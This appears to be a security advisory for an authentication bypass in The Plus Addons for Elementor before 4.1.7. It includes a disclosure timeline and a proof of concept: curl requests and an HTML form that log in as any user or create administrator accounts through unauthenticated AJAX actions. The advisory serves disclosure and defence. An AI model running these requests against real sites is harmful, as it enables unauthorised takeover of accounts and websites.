The Plus Addons for Elementor Page Builder < 4.1.7 - Authentication Bypass

Description

The plugin was being actively exploited to by malicious actors to bypass authentication, allowing unauthenticated users to log in as any user (including admin) by just providing the related username, as well as create accounts with arbitrary roles, such as admin. These issues can be exploited even if registration is disabled, and the Login widget is not active.

The vendor was notified by the two reporters:
- On March 6th, 2021 by Seravo, which was answered on March 7th, and the vulnerability acknowledged on March 9th.
- On March 7th and 8th 2021 by WP Charged who saw the attacks start on March 5th, 2021.

We (WPScanTeam) escalated to issues to Envato on Match 8th, 2021 after confirming them and finding another similar authbypass issue.

The free version of the plugin on the WordPress repository did not seem affected by this issue.

Proof of Concept

The "theplus_ajax_login" and "theplus_google_ajax_register"  AJAX actions, available to unauthenticated users allow trivial authentication bypass as any user by only providing the related username

curl -X POST --data action=theplus_ajax_login --data email=admin -iLSS https://example.com/wp-admin/admin-ajax.php
curl -X POST --data action=theplus_google_ajax_register --data email=admin --data nonce=a -iLSS https://example.com/wp-admin/admin-ajax.php

Then, the "theplus_google_ajax_register" AJAX action can also allow any unauthenticated user to create accounts with arbitrary role, such as admin, and then get logged in automatically

<form method="POST" action="https://example.com/wp-admin/admin-ajax.php">
<input value="newadmin" name="name" type="text">
<input value="[email protected]" name="email" type="text">
<input value="test" name="password" type="text">
<input value="theplus_google_ajax_register" name="action" type="text">
<input value="administrator" name="tp_user_reg_role" type="text">
<input value="any" name="nonce" type="text">
<input type="submit" />
</form>

Finally, the "theplus_ajax_register" AJAX action can also allow unauthenticated user to create accounts with arbitrary role, such as admin, however this require the registration to be enabled, and the Login widget to be used.